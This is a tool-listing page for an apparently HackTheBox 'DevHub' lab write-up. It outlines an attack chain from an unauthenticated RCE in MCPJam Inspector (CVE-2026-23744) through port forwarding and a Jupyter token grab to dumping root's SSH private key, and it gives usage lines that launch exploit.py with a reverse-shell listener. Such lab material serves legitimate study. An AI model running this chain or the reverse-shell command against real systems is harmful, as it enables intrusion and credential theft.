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HTB-DevHub — CVE-2026-23744 RCE + Privilege Escalation | Kitploit
Tools/GitHubGitHub/thisisish/htb-devhub
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubthisisish/htb-devhub

HTB-DevHub

CVE-2026-23744 RCE + Privilege Escalation

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32 months agoNot yet reviewed

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HackTheBox — DevHub

CVE-2026-23744 | MCPJam Inspector Unauthenticated RCE

Difficulty: Medium
OS: Linux


Exploitation Chain

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│                 CVE-2026-23744                      │
│     Unauthenticated POST → /api/mcp/connect         │
└─────────────────────┬───────────────────────────────┘
                      ↓
             Shell as mcp-dev
                      ↓
┌─────────────────────────────────────────────────────┐
│     portfwd 8888 → Jupyter Notebook Token Grab      │
└─────────────────────┬───────────────────────────────┘
                      ↓
         Browser → http://127.0.0.1:8888
                      ↓
          Shell as analyst via notebook cell
                      ↓
┌─────────────────────────────────────────────────────┐
│       cat /opt/opsmcp/server.py                     │
└─────────────────────┬───────────────────────────────┘
                      ↓
         portfwd 5000 → OPSMCP API
                      ↓
                      ↓
         /root/.ssh/id_rsa dumped
                      ↓
┌─────────────────────────────────────────────────────┐
│       ssh -i root_id_rsa [email protected]            │
│                   ROOT ★                            │
└─────────────────────────────────────────────────────┘

Files

FileDescription
exploit.pyCVE-2026-23744 RCE exploit with vuln check
enum.pyLocal enumeration — Jupyter, MCP, Python, privesc

Usage

root@kitploit:~
# Exploit
python3 exploit.py -t devhub.htb -l <your_ip> -r 4444

# Enumeration (once on box)
python3 enum.py --section all
python3 enum.py --section jupyter

Disclaimer

For educational purposes and authorized testing only.

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